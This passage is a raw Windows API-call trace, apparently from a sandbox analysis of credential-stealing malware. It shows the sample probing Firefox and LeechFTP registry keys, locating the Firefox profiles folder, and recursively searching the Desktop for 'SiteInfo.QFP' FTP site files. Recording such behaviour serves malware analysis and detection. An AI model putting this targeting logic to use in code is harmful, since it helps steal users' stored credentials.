returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.136] LocalFree (hMem=0x65e350) returned 0x0 [0071.136] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox 25.0" [0071.136] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0071.136] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0071.136] RegCloseKey (hKey=0x130) returned 0x0 [0071.136] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0071.136] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0071.136] RegCloseKey (hKey=0x130) returned 0x0 [0071.136] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0071.136] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0071.136] RegCloseKey (hKey=0x130) returned 0x0 [0071.136] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.136] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.136] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.136] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0071.136] lstrlenA (lpString="\\") returned 1 [0071.136] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0071.136] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.136] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.136] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0071.136] lstrlenA (lpString="bin") returned 3 [0071.136] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647440 [0071.136] lstrcpyA (in: lpString1=0x647440, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.136] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0071.136] LocalFree (hMem=0x6293a8) returned 0x0 [0071.136] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox 25.0\\bin" [0071.136] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0071.136] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x1, lpData=0x0, lpcbData=0x12fd0c*=0x2d) returned 0x0 [0071.136] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6474f8 [0071.137] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x6474f8, lpcbData=0x12fd0c*=0x2d | out: lpType=0x0, lpData=0x6474f8*=0x43, lpcbData=0x12fd0c*=0x2d) returned 0x0 [0071.137] RegCloseKey (hKey=0x134) returned 0x0 [0071.137] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0071.137] lstrlenA (lpString="") returned 0 [0071.137] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6475b0 [0071.137] lstrcpyA (in: lpString1=0x6475b0, lpString2="C:\\Program Files\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0071.137] lstrcatA (in: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0071.137] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0071.137] StrStrIA (lpFirst="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0071.137] StrRChrIA (lpStart="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0071.137] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox") returned 32 [0071.137] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.137] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0071.137] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0071.137] lstrlenA (lpString="\\Mozilla\\Profiles\\") returned 18 [0071.137] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0071.137] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0071.137] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Mozilla\\Profiles\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Profiles\\" [0071.137] LocalFree (hMem=0x626a88) returned 0x0 [0071.137] GetFileAttributesA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Profiles\\" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\profiles")) returned 0xffffffff [0071.137] LocalFree (hMem=0x643aa8) returned 0x0 [0071.137] LocalFree (hMem=0x6475b0) returned 0x0 [0071.137] LocalFree (hMem=0x6474f8) returned 0x0 [0071.137] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.137] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.137] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.137] RegCloseKey (hKey=0x134) returned 0x0 [0071.137] LocalFree (hMem=0x646ba0) returned 0x0 [0071.137] LocalFree (hMem=0x647440) returned 0x0 [0071.137] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.137] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0071.137] lstrlenA (lpString="\\") returned 1 [0071.137] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0071.137] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.137] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.137] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0071.137] lstrlenA (lpString="extensions") returned 10 [0071.137] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0071.137] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.137] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0071.137] LocalFree (hMem=0x6293a8) returned 0x0 [0071.137] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox 25.0\\extensions" [0071.137] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0071.138] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0071.138] RegCloseKey (hKey=0x134) returned 0x0 [0071.138] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0071.138] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0071.138] RegCloseKey (hKey=0x134) returned 0x0 [0071.138] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0071.138] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0071.138] RegCloseKey (hKey=0x134) returned 0x0 [0071.138] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.138] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.138] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.138] RegCloseKey (hKey=0x134) returned 0x0 [0071.138] LocalFree (hMem=0x646ba0) returned 0x0 [0071.138] LocalFree (hMem=0x643aa8) returned 0x0 [0071.138] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x2, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.138] RegCloseKey (hKey=0x130) returned 0x0 [0071.138] LocalFree (hMem=0x646318) returned 0x0 [0071.138] LocalFree (hMem=0x6292f8) returned 0x0 [0071.138] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x4, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.138] RegCloseKey (hKey=0x150) returned 0x0 [0071.138] LocalFree (hMem=0x645a90) returned 0x0 [0071.138] SetCurrentDirectoryA (lpPathName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 1 [0071.138] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.138] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.138] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdcc*=0x10, cb=0x4, pcbWritten=0x12fda8 | out: pcbWritten=0x12fda8*=0x4) returned 0x0 [0071.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.139] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0071.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0071.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0071.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x29, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0071.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0071.139] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\LeechFTP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0071.139] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\LeechFTP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0071.139] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\LeechFTP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0071.139] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\LeechFTP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0071.139] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\LeechFTP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0071.139] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\LeechFTP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0071.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0071.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.139] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0071.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.139] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0071.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0071.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x2a, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0071.139] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0071.139] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.140] SHGetFolderPathA (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\Desktop") returned 0x0 [0071.140] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop") returned 24 [0071.140] lstrlenA (lpString="\\*.*") returned 4 [0071.140] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x65e350 [0071.140] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\Desktop" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop") returned="C:\\Users\\EEBsYm5\\Desktop" [0071.140] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\*.*") returned="C:\\Users\\EEBsYm5\\Desktop\\*.*" [0071.140] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop\\*.*", lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 0x6426a8 [0071.140] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.140] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.140] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.140] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.140] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="0grKtsmrYghV4OdkR.gif", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="0TQWJQzhYSbK.avi", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="3838612080743901967.exe", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="5JLsU.mp4", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="77GHwg0wFJaGrNo-.wav", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="9ApdVjkH5In.swf", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="b3fewGYYcDqBb8rv.ppt", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="b5v eiZXtawE-.wav", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="desktop.ini", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="fA1iU7r91B.mp3", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] StrStrIA (lpFirst="gi8DvAWgnZnc.mp3", lpSrch="SiteInfo.QFP") returned 0x0 [0071.141] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.141] lstrcmpiA (lpString1=".", lpString2="i2yGz") returned -1 [0071.141] lstrcmpiA (lpString1="..", lpString2="i2yGz") returned -1 [0071.141] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop") returned 24 [0071.141] lstrlenA (lpString="\\") returned 1 [0071.141] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x641518 [0071.141] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\Desktop" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop") returned="C:\\Users\\EEBsYm5\\Desktop" [0071.141] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\") returned="C:\\Users\\EEBsYm5\\Desktop\\" [0071.141] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\") returned 25 [0071.141] lstrlenA (lpString="i2yGz") returned 5 [0071.141] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x6415c0 [0071.141] lstrcpyA (in: lpString1=0x6415c0, lpString2="C:\\Users\\EEBsYm5\\Desktop\\" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\") returned="C:\\Users\\EEBsYm5\\Desktop\\" [0071.141] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\", lpString2="i2yGz" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz" [0071.141] LocalFree (hMem=0x641518) returned 0x0 [0071.141] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz") returned 30 [0071.141] lstrlenA (lpString="\\*.*") returned 4 [0071.141] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0071.141] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz" [0071.141] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\*.*") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\*.*" [0071.141] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\*.*", lpFindFileData=0x12fc02 | out: lpFindFileData=0x12fc02) returned 0x6426e8 [0071.141] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.141] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fc02 | out: lpFindFileData=0x12fc02) returned 1 [0071.141] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.141] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.141] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fc02 | out: lpFindFileData=0x12fc02) returned 1 [0071.141] StrStrIA (lpFirst="1ZD5iYh1Iu_UrWa4vWC.ots", lpSrch="SiteInfo.QFP") returned 0x0 [0071.142] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fc02 | out: lpFindFileData=0x12fc02) returned 1 [0071.142] lstrcmpiA (lpString1=".", lpString2="cJApU0d7_RSkgxX-ms") returned -1 [0071.142] lstrcmpiA (lpString1="..", lpString2="cJApU0d7_RSkgxX-ms") returned -1 [0071.142] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz") returned 30 [0071.142] lstrlenA (lpString="\\") returned 1 [0071.142] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0071.142] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz" [0071.142] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\" [0071.142] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\") returned 31 [0071.142] lstrlenA (lpString="cJApU0d7_RSkgxX-ms") returned 18 [0071.142] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643aa8 [0071.142] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\" [0071.142] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\", lpString2="cJApU0d7_RSkgxX-ms" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms" [0071.142] LocalFree (hMem=0x641518) returned 0x0 [0071.142] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms") returned 49 [0071.142] lstrlenA (lpString="\\*.*") returned 4 [0071.142] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643b68 [0071.142] lstrcpyA (in: lpString1=0x643b68, 